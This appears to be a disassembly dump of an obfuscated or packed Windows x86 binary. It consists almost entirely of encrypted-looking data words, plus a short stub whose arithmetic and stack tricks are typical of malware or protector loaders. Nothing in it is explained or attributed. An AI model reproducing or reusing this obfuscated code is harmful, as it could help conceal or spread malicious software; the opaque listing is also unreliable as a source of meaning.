		dd 6073025h, 0FFFF74E9h, 0D6B4AFFFh, 8B855624h,	0EF3886B2h
		dd 0D1EEF56Eh, 0E8F12AA9h, 0Fh,	3312889Ch, 88F68F53h, 0E2820ABCh
		dd 893D5F85h, 71275BDh,	0D78A5B06h, 58D7C381h, 0BA660000h
		dd 14BEF0DCh, 9000016h,	715AD85h, 8133FF06h, 0BCE6BED2h
		dd 0E0805F3Eh, 3C78168h, 9224BFEh, 70635B5h, 37F78106h
		dd 8B241A55h, 98F781D1h, 8B5BAFE6h, 71A5185h, 0B13B8906h
		dd 0FCEB8175h, 8B1ECBD6h, 72FA985h, 0F8C38106h,	601ECBD6h
		dd 21E9B58Bh, 0D38B0607h, 1EE8161h, 0F000000h, 0FFFFA885h
		dd 4D9589FFh, 8D060708h, 0C3E738Dh, 1852906h, 89060701h
		dd 706798Dh, 6C86BF06h,	85C70AF5h, 6072CE5h, 5D8Ch, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 20C35747h, 17768216h
		dd 6E8E701h, 6E000000h,	3C1BBC87h, 0C6BF0FFCh, 5E85Bh
		dd 0F6880000h, 0E9A90FC3h, 9, 9F34A7E2h, 0E76BC44Bh, 85C758CCh
		dd 6072D05h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 60C35242h
		dd 4F16274Bh, 7A3E587Ah, 0FFE2E380h, 70C11B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0B04781D5h, 0C67BBBE7h, 9D899EBFh, 60707D9h,	0BD95FFh
		dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 662BF3C3h, 0C122F381h, 6ADA8Bh, 16B595FFh
		dd 0C08B0607h, 52E21DEBh, 87417C7Dh, 0E8AF1159h, 3D64BB52h
		dd 504693B5h, 4D69E509h, 0B0716DEFh, 0E91431E1h, 2Dh, 6EE1B304h
		dd 0Ah dup(0)
		dd 505E900h, 47D00000h,	0AC683614h, 0D03D1AFh, 70A2704Eh
		dd 0D63F0DEBh, 600CA785h, 0DFBD9E77h, 78560511h, 14F269AAh
		dd 0B290CB46h, 9375FCE0h, 1884D3A9h, 0F7C1863Eh, 0D4CC0C4Bh
		dd 4AD93E21h, 0F1D4878Ch, 5477E42Dh, 78560510h,	0EF467AAh
		dd 0B396C550h, 815DB4F8h, 0E0A7CA91h, 4ACA0E31h, 0C78FEE11h
		dd 70EB26F0h, 0D54FC492h, 6AF4D65Dh, 36797EC7h,	0C76B5F41h
		dd 0F2A1E47Eh, 494D470Ch, 4242AAAEh, 0F5D887D4h, 0F962B17Fh
		dd 5A13D8D6h, 75D01BB3h, 888E5235h, 3028EDD3h, 984EB177h
		dd 0D34CF427h, 2DF4382Dh, 0CB4B8F4Ah, 0E9296D90h, 0D5434F72h
		dd 7CDF34EEh, 0EFE39259h, 33E03A81h, 957C4A28h,	0BF96A3C6h
		dd 0F57EC79Fh, 284DBC1Bh, 2599C09Ch, 20F5376h, 0D90D3659h
		dd 997BB5E2h, 7D793E22h, 8F520604h, 5035D4B7h, 3BDE8895h
		dd 6Ah,	4E0D0462h, 6B461E2Bh, 9E6E7EC7h, 42734E0h, 0F5CA5A3Dh
		dd 88B1374Eh, 154DEh, 47B0000h,	2A284B10h, 0D2B5A66Ch
		dd 3255060Eh, 143724EEh, 0D341FFB5h, 0A4B75C88h, 0D64A31C1h
		dd 785EFD18h, 0C76B0FF1h, 6E51947Eh, 13F16AAAh,	212CC45h
		dd 9123D5h, 0CA79AF1Ch,	5C7B5DE4h, 0BD007EC8h, 0EAA8300Eh
		dd 450C2F2Ch, 8C4AFD62h, 32149B89h, 0B77EC76Bh,	0DBA2C574h
		dd 7AE134F8h, 5A011357h, 0B707837h, 371546CFh, 0CDB3A869h
		dd 0DC7F9755h, 0C76B05E7h, 4ACA8A7Eh, 7827EE11h, 6F92C94Ch
		dd 0C60AC5A8h, 0B32B114Ah, 0C76B4A2Ch, 0A98CCF7Eh, 6F5402EEh
		dd 88B7BDD8h, 66CEDEh, 4F50000h, 0AA8C1311h, 2F7EC76Bh
		dd 0A51C0ECh, 1CF4385Bh, 39D81C3Fh, 56BBFF22h, 56E8E205h
		dd 23EB3261h, 0C893825Ch, 72A462EAh, 0D34206E9h, 0F1216588h
		dd 0AD5B476Ah, 0B76431D6h, 4E27DE88h, 4E000000h, 274A1104h
		dd 6DF430E3h, 7EC76B8Bh, 0FB1ECD10h, 0DD005BB7h, 0C0E37899h
		dd 104F34C6h, 2AF4CBFFh, 239270EBh, 654B1004h, 0CEF16AA7h
		dd 213ADB07h, 9F76833Eh, 0C77EC76Bh, 83D839F7h,	0BA9DBE57h
		dd 0D7AE552Ah, 0B4DE88B1h, 1, 4F0C04DBh, 0B529E82Ch, 74097C5Bh
		dd 5BC00AD8h, 13C289ACh, 176E4F0h, 42203BD5h, 0BB42A1B8h
		dd 7EC84AD9h, 866C1B5Eh, 0C06478FFh, 0F327578h,	9EBD5311h
		dd 0DD1B47Bh, 0AB795704h, 0D4D2F566h, 84E0A30Fh, 0D8BBAA5Ah
		dd 0C162734Bh, 0F269A978h, 0D5868BCFh, 0B3A86EB2h, 55E7C990h
		dd 0EC20316Eh, 95C64B97h, 3328E9B7h, 1645CC10h,	572C34F3h
		dd 0F7D5868Bh, 8EBA374Eh, 0B95917E4h, 457EBFA2h, 8C000001h
		dd 0F51843CEh, 48E64B2Eh, 0CF0D85D1h, 0E2A28FEEh, 4BC64D33h
		dd 1078C16Eh, 0AB66AACDh, 0D04D2B0h, 2AE72B4Eh,	898D4B31h
		dd 5E8AFD2h, 3C838B4Ah,	462C2FE2h, 676547CEh, 0A7EA78C1h
		dd 0E0A54EC4h, 0ABE48EB5h, 4Bh,	0D8BA41B9h, 5D78C15Ah
		dd 4AD2371Ah, 0F0D3888Ch, 4E34E870h, 0C76AC5C7h, 48CB89FEh
		dd 4629F013h, 566386C9h, 0FEC76B74h, 0D156AFCh,	19414B15h
		dd 736316A2h, 5557DEC4h, 1A7EC7AEh, 0B973F9D7h,	0F7000000h
		dd 5B7EDD39h, 484CB194h, 25AE85D1h, 5276154Bh, 7903E56Ch
		dd 45887EC7h, 0AFEBB096h, 86D53F75h, 0D0699C63h, 0B432152Ah
		dd 0C041422Dh, 39410678h, 81B7DABDh, 0EBB22F12h, 669899CFh
		dd 0ED10BF3Bh, 0DF368A9h, 0B3CF6E48h, 3C1F2F5Ah, 4219F8C6h
		dd 0F53D121Fh, 5A8E78C0h, 7F58B965h, 0E707C266h, 7F5D0C86h
		dd 0DD396CF5h, 0E5945B7Eh, 0ED041FFh, 6B325506h, 0EFD299BCh
		dd 0CABAEA71h, 0B4F772B3h, 0AECE9391h, 34CB7FCBh, 98793D20h
		dd 0B55CA0C3h, 0D13F83A6h, 0A0A8678Ah, 1A887CDBh, 7EA4BDA5h
		dd 0B5E5D398h, 0B64ED33Eh, 9ECE55D3h, 0DB6CA705h, 20F4B298h
		dd 73E2583Bh, 0EEC6854Ah, 48CDE3A3h, 0A67CE565h, 7F0939C0h
		dd 34678BBh, 0E6759CE0h, 84D73A08h, 0F87C5461h,	0CF97CFCDh
		dd 78E32EE8h, 1645CC9Ah, 4F31B830h, 0D40FCE08h,	0F5F3AE91h
		dd 754BF7Dh, 0CE083012h, 8F72B50Fh, 0F11447CBh,	4CC489E5h
		dd 0ED8DAD66h, 86FFFE2h, 3A1843CEh, 93B6A56Ch, 0D97h, 1CA31B00h
		dd 0FCD9F3Ah, 34997CBFh, 13041520h, 30E12548h, 4FC4082Bh
		dd 71A5E90Ch, 9283C7EAh, 0B362A6C9h, 0D14185A8h, 0ED23678Ah
		dd 0D074B6Eh
		db 4Eh,	2Bh, 2Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 582C65FBh
		add	esi, 414254BEh
		neg	esi
		xor	esi, 66914543h
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	23Fh
		mov	[esp], ecx
		push	51D1h
		mov	[esp], ebx
		push	60C3ECCh
		mov	ecx, [esp]
		add	esp, 4
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	7EFFh
		mov	[esp], ecx
		pop	dword ptr [ebx+8]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_4FF07A
; ---------------------------------------------------------------------------
		db 2
		dd 56A97512h, 0F34A67F0h, 0B8D26DB6h, 60C4361h,	0E0FFC503h
		dd 0F8C32A9h, 525D45D1h, 55FDDED2h, 437D5738h, 775BFA1Bh
		dd 7AA82288h, 66BAFA2Bh, 1ACA08D2h, 0F3D95FAh, 21DF5BBCh
		dd 56BBF11Ch, 76564F79h, 0E0DD41BDh, 0A25A2086h, 0D658388Fh
		dd 6DDC4964h, 0E8D233C8h, 6CEB47D9h, 72AF4634h,	0AB501549h
		dd 6BDF4534h, 0BE5ECF46h, 0E6DD412Ah, 6277E10Ch, 3008B9CEh
		dd 6A66C53Ch, 6BDD4102h, 388B516Dh, 6BDF4534h, 0BE5ECF46h
		dd 0E6DD412Ah, 6272D00Ch, 3008B9CEh, 3ADB2C3Ch,	6BDB45DAh
		dd 0A8826619h, 4F97CFD5h, 4F9FC742h, 6BDB5A27h,	0A88A0791h
		dd 0B371D7F0h, 0EEDC8D25h, 4409C7D0h, 82930CBEh, 6BDB4686h
		dd 58F9386Eh, 952A5740h, 0AB50028Eh, 6BDB4121h,	8CF76C64h
		dd 0D373FB85h, 103CA7Fh, 6833138Ch, 4BDB4646h, 0E286857Eh
		dd 0EADF62FDh, 7DDF628Ch, 2EDB4664h, 41CB8567h,	0A5E4F9Bh
		dd 0C3DD4191h, 4E5F4942h, 0E0DB4627h, 6CDD7F1Ch, 0CE46CDCEh
		dd 0E8DD4171h, 6CDB1F8Fh, 0EFD4461Fh, 6BDB469Bh, 602AD3CFh
		dd 6A324024h, 0E2DB4695h, 6CCE2B55h, 42564562h,	0D5DD4110h
		dd 69DB6119h, 838A46E6h, 6BDB4645h, 32181F03h, 6FFF0A18h
		dd 6FFF0249h, 6BDB467Fh, 0C3181773h, 7806C2AFh,	0D3CDE14h
		dd 0E6FADFFCh, 61B4FFA6h, 3ADB2C97h, 6BDB4520h,	0A8826664h
		dd 4F97CF6Bh, 4F9FC71Dh, 6BDB5C88h, 0A88A0746h,	7D35A6F5h
		dd 0E0D433E1h, 6CC1AF55h, 10BB962h, 68331432h, 4BDB4619h
		dd 0E28185D6h, 0EADF6212h, 72DF6267h, 29DB4691h, 0B755859Ah
		dd 0E1EBB003h, 7F52DB33h, 0AB5E401Eh, 6ADDC283h, 6BB14646h
		dd 6BD8AE74h, 34FB4691h, 1752190Bh, 2F5A4240h, 6BC74216h
		dd 3C9C4619h, 0B66B1B4Fh, 55ECBFE1h, 0D6508CFCh, 6DDC4558h
		dd 0D8C7E49h, 0EED4BDE5h, 6BDB4610h, 6BD9C316h,	9250468Ch
		dd 6FA3C720h, 0EFD44421h, 6BDB45FCh, 6BDB4F21h,	0EF62AB64h
		dd 6B9D052Ch, 0EABD8111h, 64BBDAB4h, 6BDBE5C3h,	3EDB2C23h
		dd 6BDB4579h, 0A88666C8h, 4FB7CF39h, 4F9FC736h,	6BDB5C1Dh
		dd 0A88E038Ch, 56D6C087h, 0E0CE3FC7h, 6CF5C31Ch, 0E6D817CEh
		dd 6DDC53B9h, 69A3C668h, 25E49F1h, 0E0DB468Ch, 6CEA6BCBh
		dd 135A2025h, 64704697h, 6BDB114Dh, 3DDB2C64h, 6BDB45DAh
		dd 0A8856619h, 4FAFCFD2h, 4F9FC742h, 6BDB5027h,	0A88D0091h
		dd 8212744Ah, 6BDB4481h, 838B4658h, 6BDB461Ah, 33181EACh
		dd 6FFF02CFh, 6FFF02A2h, 6BDB4689h, 0AD181688h,	604B06C2h
		dd 4012D303h, 6232401Eh, 7ADB468Ch, 1A48E8AAh, 0EB4ED9DDh
		dd 6ADA462Fh, 3BDB2C8Eh, 6BDB458Ch, 0A8836632h,	4F9FCF41h
		dd 4F9FC788h, 6BDB5B42h, 0A88B0623h, 0ECBB6899h, 17617CC6h
		dd 0B1517310h, 462C3BFh, 0E9D44013h, 6BDB4690h,	6BCFAE16h
		dd 0E46B4623h, 9A78EA9Ch, 15803990h, 36B41217h,	41126339h
		dd 31808288h, 620AFBBDh, 0BB244041h, 6026DBA8h,	0AB5E4096h
		dd 6A21C2C7h, 6BB14664h, 6BD8AE62h, 33FB4619h, 2F521E4Fh
		dd 2F5A4262h, 6BCC4207h, 3B9B4691h, 0CDF04A0Bh,	6BC8AFF7h
		dd 76E94632h, 7863FEEEh, 0A4652009h, 0D63F386h,	0C458A3A8h
		dd 0B16449FBh, 56BD7E49h, 0EED44466h, 6BDB4614h, 6BDB48F0h
		dd 0C3D6158Ch, 9F61442Eh, 4DA502C9h, 0EAA9224Bh, 56BD40B0h
		dd 0EFD43C3Bh, 6BDB47D3h, 4DAAF330h, 0EABD408Bh, 64BBDA7Eh
		dd 6BDB29A6h, 3DDB2C91h, 6BDB4520h, 0A8856664h,	4FAFCF6Ch
		dd 4F9FC71Dh, 6BDB5288h, 0A88D0046h, 69A3C682h,	225E4979h
		dd 1DB46C8h, 68331664h,	4BDB4632h, 0E2838541h, 0EADF62C8h
		dd 77DF6202h, 2BDB4623h, 0EB3585C1h, 210570BBh,	0D4159F0h
		dd 0DE1891B3h, 6DA3C77Fh, 0EED4868Ch, 6BDB4652h, 7FD6CB22h
		dd 1324096h, 0E2DB46C9h, 6CFB83F9h, 1D04C634h, 6ADA46A7h
		dd 6E5A49F2h, 0D2DB4646h, 76823E90h, 462C31Ch, 0D0BD40C2h
		dd 0BB247CFAh, 641BC3CEh, 6BDBA99Dh, 3EDB2C8Ch,	6BDB45AEh
		dd 0A8866623h, 4FB7CFCCh, 4F9FC7CCh, 6BDB5D60h,	0A88E0332h
		dd 305C65C9h, 8615AC6Ah, 6BD2AFBEh, 2734623h, 0DFCA1A1Bh
		dd 0EB6A8BA8h, 0EED4AE5Ch, 6BDB4641h, 838D4673h, 6BDB468Fh
		dd 35181866h, 6FFF32AAh, 6FFF0210h, 6BDB46DFh, 18181022h
		dd 42F486BBh, 6CCC6FA4h, 6BD6AF8Ah, 0FEC34646h,	144D4F70h
		dd 42EC5C98h, 0EBA591BFh, 64A8431Ch, 6BDB74B7h,	4266CD19h
		dd 0EBDD4191h, 6488413Eh, 6BDBF6A7h, 6BD2AE91h,	894746C8h
		dd 7CA482ABh, 58559D72h, 6CC82BA4h, 828D1D8Ah, 6BDB4640h
		dd 0E8DCAF5Eh, 0D820500h, 6E547E49h, 6BEDC36Bh,	0D6504632h
		dd 6DDC6A54h, 3DD3E0Ch,	6BFDC349h, 0DE524623h, 6DDC77CCh
		dd 60A3C7AEh, 0EED4639Bh, 6BDB4626h, 0E024F116h, 6CD04F31h
		dd 6B88AF40h, 0D6EA4623h, 6DDC5C50h, 6BB186E3h,	6BD8AE37h
		dd 30FB4632h, 37521DDAh, 2F5A42A8h, 6BC14262h, 38984623h
		dd 7A2E7552h, 18AA287Bh, 6BDB088Dh, 39DB2C32h, 6BDB45F1h
		dd 0A881668Ch, 4F8FCF1Ch, 4F9FC727h, 6BDB5A95h,	0A88904C8h
		dd 5B8EE1DDh, 1F2D55A1h, 6BDAFEEEh, 6BB1468Ch, 6BD8AE17h
		dd 32FB4623h, 27521F52h, 2F5A42ECh, 6BC04240h, 3A9A4632h
		dd 7F36DAh, 0FF9CA38Bh,	3B50F3DCh, 6F5289A8h, 39DB2CB5h
		dd 6BDB4520h, 0A8816664h, 4F8FCF68h, 4F9FC71Dh,	6BDB5188h
		dd 0A8890446h, 0FCB9FB02h, 60DED31Ah, 0D65640CFh, 6DD70262h
		dd 2263CBBFh, 48634015h, 68AC20D9h, 6CC78BC3h, 0AA146D25h
		dd 6ADA46A7h, 6E5A49F2h, 0D2DB4646h, 76823E90h,	462C31Ch
		dd 0D0BD40C2h, 0E9837CFAh, 58A4F305h, 0FD98B66h, 683h
		dd 0C99D3100h, 8B06070Fh, 7154D8Dh, 0FC00B06h, 1C84h, 0CAC18000h
		dd 4E1CB58Dh, 8D290607h, 6070669h, 3B8h, 0D6B70F00h, 0D180E6FFh
		dd 0DF8B4005h, 6AC08Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 72797BC3h, 8166DAF5h, 83DA34E2h
		dd 70FF5BDh, 9750006h, 3001BD83h, 74000607h, 8B535019h
		dd 403B8C0h, 85890000h,	607265Dh, 0AD0E9D8Dh, 0D3FF0609h
		dd 0BD83585Bh, 6073001h, 50177400h, 403B853h, 85890000h
		dd 607265Dh, 0A9AF9D8Dh, 0D3FF0609h, 0DF81585Bh, 2032FD15h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 74C35646h
		dd 0F3F2D74h, 685h, 9958900h, 8B060700h, 53006AC0h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 8D8917D9h, 6072491h,	712ADE61h, 4B46D4D4h, 557F01DCh
		dd 525CD4C8h, 0B336398h, 2633A9A9h, 265AF198h, 0A36EF5Eh
		dd 4E60339Fh, 0A5E4FFB4h, 179EF867h, 0A3BEA09Fh, 20392887h
		dd 0A3BA7967h, 2034C649h, 74ED71Bh, 2933339Fh, 2633831Dh
		dd 0CDB6C098h, 7635AAD2h, 6CEED615h, 0D963AF94h, 2121050Dh
		dd 2664839Eh, 23593598h, 6CDE1F15h, 0AB634B94h,	2A797B1Dh
		dd 0B3CC039Eh, 20349B95h, 0A23C1493h, 26336AA1h, 6CDEB015h
		dd 0CE639C94h, 26334DAAh, 0A3BEF6D8h, 203F196Bh, 0CBB624C8h
		dd 7635D8D2h, 0D5AFF67h, 0E2B0339Fh, 0CBB61794h, 763541D2h
		dd 6CEE2315h, 0D9635594h, 2121780Dh, 26513D9Eh,	0AD666A98h
		dd 74646474h, 2E4E11CEh, 24DA8DABh, 6633A698h, 260CD3DFh
		dd 0D9C62C97h, 0EF002B67h, 0CF3B1713h, 263335B2h, 31B948ABh
		dd 0AD03A718h
		dd 0AD63E868h, 2C88005Ah, 0CF33A998h, 2633D49Bh, 0A57D896Fh
		dd 0A13C3566h, 0D9CC656Ch, 7EFB4EC3h, 0E638EEDFh, 0D9FDD697h
		dd 0E7B85667h, 7F6C8EC6h, 2637A851h, 6CE88815h,	0ABBE9C94h
		dd 203F0188h, 9320h, 0E7FC7800h, 7310271h, 0C783C8D0h
		dd 850F4904h, 0FFFFFFF2h, 4C10B58Dh, 8D8D060Ch,	60C4C2Fh
		dd 0E983CF2Bh, 20C88B05h, 2980B93Bh, 9C670A35h,	6E5B5AEAh
		dd 0AC660F8Dh, 0DD850336h, 6B010C33h, 83E95F32h, 60010C32h
		dd 0A95ACF69h, 9105286Eh, 1E052876h, 47010C32h,	9E44CF61h
		dd 58BC8F6Fh, 80070B32h, 4016883Dh, 0A40E0C32h,	10010C32h
		dd 69CB1BBh, 0A7E80A35h, 89010C33h, 615A1A7h, 0E0615C34h
		dd 4D891C8Dh, 2012E561h, 759B0C32h, 0D99BDEB9h,	0FAADDE8Fh
		dd 14D4A69Eh, 85BB3E5Fh, 4B8A6DD3h, 64058553h, 0C8510C58h
		dd 10010C31h, 50C25412h, 2548BBh, 62548B3h, 1010C25h, 73C25C72h
		dd 0CB2B5A21h, 27162DAFh, 119C8734h, 7070B1Fh, 0FA254033h
		dd 0EA520C58h, 1010C31h, 0DBC25712h, 442550BBh,	242548B3h
		dd 10010C24h, 0E2C25F71h, 99884F0Ah, 40627B3h, 110E46Ah
		dd 0E0760C32h, 0AD50C084h, 939F1A96h, 9D36D2DFh, 81417AA7h
		dd 331EDB7h, 0C2825334h, 6C94871Eh, 8F070B2Dh, 400103B8h
		dd 200BE532h, 31010C32h, 0DA779B5Ch, 9D0C6A5h, 0BF8A04B9h
		dd 7061697h, 7C498754h,	0CD0A5C52h, 260601EBh, 8C3B76Bh
		dd 6E6019E2h, 0FB3735B3h, 28A883Dh, 9C880C32h, 86062D53h
		dd 0F82DB354h, 4A08CDB1h, 13E95F32h, 28010C32h,	8D5ACF69h
		dd 8305286Eh, 15052876h, 0C3010C32h, 0A995CF61h, 20010C38h
		dd 21A067CCh, 3CB23BE6h, 3D816549h, 7D8403DBh, 8A010C32h
		dd 8704F9A7h, 81942F34h, 0AB070B28h, 90520D73h,	75FD7C1h
		dd 0CC02FF85h, 5F942F52h, 0E8070B27h, 80010C3Bh, 1C670F3Fh
		dd 78133B1Fh, 0D1826D54h, 898C2537h, 85070B32h,	414A9C0Bh
		dd 3A8403B9h, 83010C32h, 472EED87h, 3C8C8134h, 0F8070B7Ch
		dd 8010C3Fh, 0E9421773h, 0F25BFF1Ch, 0B7569109h, 8007E58Bh
		dd 0BFD70C32h, 7A5BF134h, 1002B468h, 0B58A0C32h, 2061C4Fh
		dd 64E0F3CAh, 6B60DFB9h, 83E95D32h, 60010C32h, 0A958CF6Bh
		dd 9105287Eh, 14052876h, 45010C32h, 0C2FECF63h,	0BA5B8837h
		dd 0E6783D9Eh, 642EC2B3h, 1EF68D54h, 21BC81DAh,	8507007Eh
		dd 84F7FBFh, 8175B434h,	84320DA0h, 86062D97h, 20C0C319h
		dd 2980B93Bh, 9C670A35h, 6E5B5AEAh, 0AC660F8Dh,	0DD850336h
		dd 6B010C33h, 5E98332h,	0C08BA4F3h, 2D71B58Bh, 0BD8B0607h
		dd 60716EDh, 11E8C38Bh,	0F000000h, 0A22C7748h, 84ED3198h
		dd 0BF33BE02h, 0E83FDE65h, 634BEA81h, 605B5070h, 1A9B589h
		dd 8A0F0607h, 6, 2AC99589h, 81610607h, 5BABC3h,	14E800h
		dd 956E0000h, 5469BAC9h, 3130A3DDh, 9168AD35h, 0D9700A7Ah
		dd 0B70FFBB6h, 0B95AD3h, 50000000h, 3225BD89h, 8B580607h
		dd 0EF810B3Ch, 1F5AEAD3h, 64155ABEh, 9BC7814Ch,	8B05E749h
		dd 0CBC781F0h, 6609C0E1h, 8DECF081h, 0E80B3C89h, 7, 0E3ADBED4h
		dd 810FAC19h, 8EC93EC2h, 0EE815E17h, 6EC39FCh, 0F04E983h
		dd 68Ah, 41852900h, 8106072Dh, 0FFA508F9h, 0A8850FFFh
		dd 0FFFFFFFh, 1FE9F6BFh, 0B3000000h, 79AB27h, 6	dup(0)
		dd 1DE90000h, 89000005h, 21EFCD8Eh, 0BC8A68F3h,	5B290754h
		dd 0F8C6A4B7h, 0C5603E1Dh, 76E530A7h, 0F4CCA98h, 0ABB06331h
		dd 4912FFCDh, 2EB5996Bh, 84D3BA4Ch, 458F7D1h, 0A3684E0Dh
		dd 85CD1AF4h, 4C07EA60h, 704E0D08h, 6EC6FA2h, 0AC25078Eh
		dd 67AA7EC7h, 8C85C984h, 0EA2BE9CFh, 8CCF4571h,	32F0EEA9h
		dd 0D5997CDFh, 9AF91C3Fh, 0E031EDD2h, 44CF9D7Bh, 4E6C3117h
		dd 0FFE168E0h, 847EC7ABh, 0C7270E41h, 6331A78Ah, 4488ABB0h
		dd 0E5A389D2h, 0F962B12Dh, 3460274Ah, 0E09B7EDDh, 0C51166D4h
		dd 0D586904Eh, 5E3CEBB2h, 0E3FB18D6h, 40072A31h, 27EAAE91h
		dd 0DC785FB7h, 2612A58Fh, 0DAA1C473h, 44F368AEh, 253D1421h
		dd 83657EC8h, 0F77E073Ch, 790DDE87h, 1B000000h,	0C2A5B65Dh
		dd 4E0D045Dh, 6B461E2Bh, 8C6E7EC7h, 0A2733137h,	4E37D6B9h
		dd 3DDE88B1h, 6, 0D5868D4Bh, 10048DF2h,	0F21546CEh, 556AF82Bh
		dd 6C5E1F7h, 72F97157h,	7EC7C990h, 0F8BD4E15h, 4BB61A6Ch
		dd 0BBA0709Ch, 3BD91DD8h, 59B9FD20h, 0D9571C02h, 1D661AC2h
		dd 0C625E0C3h, 0B75DB9FEh, 5472C20h, 829191E9h,	9D7B2AD9h
		dd 0A09542CFh, 8D081A8h, 39A88635h, 46CD1104h, 8806615h
		dd 0C76B9F81h, 0FEE1247Eh, 46CD4543h, 7EC76B64h, 0FFC3A6E9h
		dd 64234615h, 5ABB675Ch, 0BC552301h, 0C07E7C9Fh, 0A4E80B50h
		dd 593CEB70h, 22A97B95h, 7EC76B40h, 0B0D382C5h,	9AA116C4h
		dd 0DE88B7FBh, 7B90h, 1104B700h, 2DE3274Ah, 4CC70B2Eh
		dd 6EA8EC0Fh, 45CCCAEDh, 7EC76B63h, 965EA5E8h, 632B7221h
		dd 0CB90081Ch, 5147DC9Eh, 5F41367Ah, 0E47EC811h, 1BFABEA1h
		dd 81946240h, 9F73B7DAh, 111CFE85h, 5EA17EC8h, 0F2A08CAFh
		dd 981F978Dh, 7EC811B6h, 7615F83Bh, 0DE88111Fh,	446Ch
		dd 11049300h, 30E3274Ah, 0ABDF082Bh, 500B0AD4h,	0E125EA72h
		dd 0FC9EC24Bh, 1942CFFBh, 0E74C2FF6h, 284B1004h, 0C76B441Bh
		dd 358A6C7Eh, 0A7FA6A2Fh, 35E1B56Bh, 945B7EDDh,	226302E5h
		dd 69DE8830h, 1, 4F0C0490h, 0B529E82Ch,	13DAFD5Eh, 0C7354164h
		dd 71EA26F0h, 0CA100993h, 84D65DE4h, 90D378BFh,	70F76F6Dh
		dd 78C04E8Eh, 29EDD013h, 0C79573E8h, 0E1EE114Ah, 78C04E09h
		dd 8551265Ah, 23F1CF8Ch, 5733E9EEh, 123ED6B0h, 0FBAA5902h
		dd 0A77D94D8h, 3B302BE9h, 78BFEA59h, 0C9EC9BDEh, 0A8CB9085h
		dd 8CAFAC64h, 0C41E652Dh, 21E80B50h, 10D5CB72h,	0F49B16C6h
		dd 0DE6E51C9h, 87D43D99h, 0D88500A9h, 2406E48Fh, 14000001h
		dd 3833159Ch, 75B878C0h, 0D1482D92h, 6B694BD2h,	0ABEE7EC7h
		dd 0A1C4977Fh, 0BE452BDAh, 78C06F43h, 26088F07h, 6478C068h
		dd 86C9AEADh, 0C0E326A3h, 0E8C6957Ch, 7E64F71Ah, 25078E06h
		dd 0AA78C068h, 68907267h, 0D21578C0h, 783634EFh, 0D9A0C398h
		dd 7CDF32F6h, 0B5971E96h, 3A78C068h, 9A5914F7h,	20F12D92h
		dd 0D1B45D3Bh, 0BAE48FB4h, 2Ch,	0CD048E1h, 6B9D9F26h, 1F62FEC7h
		dd 6C0DEFFCh, 395FEC7h,	6AB2A6BCh, 6BFBFD84h, 7DC07EC7h
		dd 8D199Fh, 0DF9D0000h,	0DE432635h, 2309D148h, 0BF8BB19Ch
		dd 75FC7678h, 78C04C93h, 326D518h, 5AD252BFh, 0C04BF1D3h
		dd 3E337678h, 78C04C5Ch, 11EF9EE1h, 510CE43h, 4017E1D2h
		dd 0AB5AD73Bh, 0D5DA0C78h, 38E79A86h, 80521715h, 0C8AB6156h
		dd 0C79C290Ch, 1878BFD2h, 0CE439FE4h, 0D66D0D09h, 98471262h
		dd 0F12930BAh, 690D840Bh, 87CA72B3h, 2B8DDCA1h,	13E1B25Ch
		dd 0E0317530h, 264912FEh, 818DB05Fh, 0A3B6AC13h, 970E957Bh
		dd 546CA779h, 48C43311h, 0AB2309D1h, 23526EDh, 0ABBB67DAh
		dd 50DDC03Ch, 78BB8FD9h, 0EC305396h, 0D0583625h, 395CFF12h
		dd 23058C72h, 0A878BBF1h, 53BE8265h, 0FAD8E508h, 15F91465h
		dd 65AC764Dh, 7E5638BFh, 98DBF914h, 2B3E03E9h, 67AFBA5Bh
		dd 0D961D7BAh, 6AF8DA61h, 3A7DF914h, 0DD7E9357h, 0BF9C76BAh
		dd 0A2B9589Ch, 6D83B7Fh, 7DA04F0Ch, 0CD8AF183h,	0CA146BD9h
		dd 0DC7F9747h, 90814F2Dh, 8ACA8CBh, 30000000h, 0D6B9A272h
		dd 4152071h, 0E1254813h, 0C4082B30h, 0A5E90C4Fh, 83C7EA71h
		dd 62A6C992h, 4185A8B3h, 23678AD1h, 74B6EEDh, 2A2B4E0Dh
		dd 81595451h, 4C1h, 4E98300h, 5C240C87h, 81E68956h, 4C6h
		dd 4EE8300h, 5C243487h,	50243489h, 405E089h, 2D000000h
		dd 4, 5C240487h, 53241C89h, 692288BBh, 0DBA525Bh, 895D656Dh
		dd 0DE315AD6h, 1C8B545Bh, 4C48124h, 51000000h, 4B89F189h
		dd 240C8B08h, 0FF04C483h, 835B2434h, 348B04C4h,	0E1895124h
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 0FB26D9E9h, 78BEF9FFh
		dd 6089D3CEh, 5E24DE48h, 1B85661Ah, 0C5412B8h, 0FFC50306h
		dd 6ECE86E0h, 6AE2E951h, 0AEEEBA02h, 3F2E0929h,	0B0E949h
		dd 66600000h, 0C2F6DA8Ch, 0C850F04h, 3B000000h,	71B2D85h
		dd 36840F06h, 3B000000h, 71B0185h, 2A840F06h, 3B000000h
		dd 71E9585h, 1E840F06h,	3B000000h, 7021185h, 12840F06h
		dd 83000000h, 726E1BDh,	840F0106h, 5, 5FE9h, 3D08B00h
		dd 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h, 81000000h, 0F8C2h
		dd 0C728B00h, 598BC803h, 14518B1Ch, 0B8BD803h, 840FC985h
		dd 10h,	820FCE3Bh, 17h,	830FCF3Bh, 0Fh,	4A04C383h, 0FFDC850Fh
		dd 0DE9FFFFh, 8D000000h, 74E1C9Dh, 5B806h, 0E3FF0000h
